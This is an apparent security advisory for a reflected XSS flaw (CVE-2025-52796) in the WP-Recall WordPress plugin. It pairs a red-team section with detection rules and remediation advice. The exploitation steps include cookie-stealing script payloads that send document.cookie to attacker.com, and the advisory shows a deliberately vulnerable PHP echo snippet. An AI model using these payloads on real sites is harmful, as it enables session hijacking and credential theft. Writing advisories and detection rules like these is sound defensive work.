CVE-2025-52796

Executive Summary

CVE-2025-52796 is a Reflected Cross-Site Scripting (XSS) vulnerability affecting the WP-Recall WordPress plugin, versions up to and including 16.26.14. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript code into a reflected response. This can be exploited by tricking a user into clicking a crafted link, leading to session hijacking, credential theft, or defacement. The CVSS score is 7.1 (High), and while no public exploit code or proof-of-concept is currently available, the risk is significant due to the widespread use of WordPress and the plugin's functionality.

Supply Chain & Package Security

This vulnerability is specific to the WordPress ecosystem and the WP-Recall plugin. The plugin is distributed via the official WordPress plugin repository and third-party marketplaces. Users are advised to verify the integrity of their plugin files and monitor for updates from the vendor. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors distributing modified versions.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Base Score: 7.1 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R)
• Scope: Changed (S:C)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

Threat Level: High. The vulnerability is easily exploitable via a crafted link, and while user interaction is required, the potential impact on confidentiality and integrity is significant.

Deep Dive & Mechanics

The vulnerability is a classic Reflected XSS in the WP-Recall plugin. The plugin fails to sanitize or escape user-supplied input before reflecting it in the HTTP response. This typically occurs in parameters such as search, page, or custom query strings used by the plugin's shortcodes or AJAX handlers.

Attack Flow:

1. An attacker crafts a malicious URL containing JavaScript payload in a vulnerable parameter (e.g., ?search=<script>alert('XSS')</script>).
2. The attacker lures a victim (e.g., via phishing email or social media) to click the link.
3. The victim's browser sends the request to the WordPress site running the vulnerable plugin.
4. The plugin reflects the malicious input without proper encoding, causing the browser to execute the injected script.
5. The script can steal cookies, session tokens, or perform actions on behalf of the victim.

Root Cause: The plugin uses functions like echo $_GET['param'] or print_r($_REQUEST) without applying WordPress's built-in escaping functions (e.g., esc_html(), esc_attr(), or wp_kses()).

Vulnerable vs. Patched Code

Vulnerable Code (Example):

// In a WP-Recall template or shortcode handler
$search = $_GET['search'];
echo "<div class='recall-search'>You searched for: " . $search . "</div>";

Patched Code (Hypothetical):

// Properly escape output
$search = isset($_GET['search']) ? sanitize_text_field($_GET['search']) : '';
echo "<div class='recall-search'>You searched for: " . esc_html($search) . "</div>";

Key Differences:

• The vulnerable code directly concatenates user input into HTML output.
• The patched code uses sanitize_text_field() to strip dangerous characters and esc_html() to encode HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with WP-Recall plugin version <= 16.26.14.
• A victim user with an active session.

Exploitation Steps:

1. Identify a vulnerable parameter (e.g., search, page, or recall_action).
2. Craft a malicious URL:

   http://target-site.com/?search=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
   

3. Encode the payload to avoid filtering:

   http://target-site.com/?search=%3Cscript%3Edocument.location%3D%27http%3A%2F%2Fattacker.com%2Fsteal.php%3Fcookie%3D%27%2Bdocument.cookie%3C%2Fscript%3E
   

4. Deliver the link to the victim via phishing or social engineering.
5. When the victim clicks, the script executes and sends their cookies to the attacker's server.

Example Payload (Steal Cookies):

<script>
var img = new Image();
img.src = 'http://attacker.com/log.php?c=' + encodeURIComponent(document.cookie);
</script>

Blue Team (Detection & Defense)

Detection Steps:

1. Monitor web server logs for unusual query strings containing <script>, onerror, javascript:, or base64-encoded payloads.
2. Use WAF rules to block reflected XSS patterns (e.g., <script, %3Cscript, onload=, onerror=).
3. Deploy Content Security Policy (CSP) headers to restrict script execution.

Defense Steps:

1. Immediately update the WP-Recall plugin if a patched version becomes available.
2. If no patch exists, disable the plugin or remove vulnerable functionality.
3. Implement input validation and output encoding using WordPress functions (esc_html(), esc_attr(), wp_kses()).
4. Use a Web Application Firewall (WAF) with XSS rules.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests containing <script> tags in query parameters.
  • Outbound connections to unknown IPs or domains from the WordPress server.
  • Referer headers pointing to phishing pages.

• Host IOCs:

  • Unusual entries in WordPress access logs (e.g., GET /?search=<script>...).
  • Modified plugin files (check file integrity with md5sum).
  • Unexpected JavaScript files in the wp-content/uploads/ directory.

• Example Log Entry:

  192.168.1.100 - - [10/May/2025:12:34:56 +0000] "GET /?search=%3Cscript%3Ealert(1)%3C/script%3E HTTP/1.1" 200 1234 "-" "Mozilla/5.0"
  

Detection Engineering

YARA Rule

rule CVE_2025_52796_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts targeting WP-Recall plugin"
        author = "Valters IT"
        date = "2025-05-10"
        reference = "CVE-2025-52796"
    strings:
        $xss1 = /[?&](search|page|recall_action)=[^&]*<script/i
        $xss2 = /[?&](search|page|recall_action)=[^&]*%3Cscript/i
        $xss3 = /[?&](search|page|recall_action)=[^&]*onerror/i
        $xss4 = /[?&](search|page|recall_action)=[^&]*onload/i
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS Attempt Against WP-Recall Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS attempts targeting WP-Recall plugin (CVE-2025-52796)
author: Valters IT
date: 2025-05-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '<script'
            - '%3Cscript'
            - 'onerror='
            - 'onload='
        cs-uri-query|re: '(search|page|recall_action)='
    condition: selection
falsepositives:
    - Legitimate use of script tags in search (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-52796 WP-Recall Reflected XSS Attempt";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"?search="; http_uri;
    content:"<script"; http_uri;
    classtype:web-application-attack;
    sid:10000001;
    rev:1;
    reference:cve,2025-52796;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the WP-Recall plugin until a patch is available.
2. Implement a Web Application Firewall (WAF) with rules to block reflected XSS patterns.
3. Add Content Security Policy (CSP) headers to restrict inline scripts:

   Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
   

Long-Term Fixes:

1. Apply vendor patch when released.
2. Audit all plugin code for similar vulnerabilities using static analysis tools.
3. Educate users about phishing risks and the importance of not clicking suspicious links.

Workaround (if plugin must remain active):

• Use a reverse proxy (e.g., Nginx) to filter malicious query strings:

  if ($args ~* "<script|onerror|onload") {
      return 403;
  }
  

Valters IT
Securing Digital Frontiers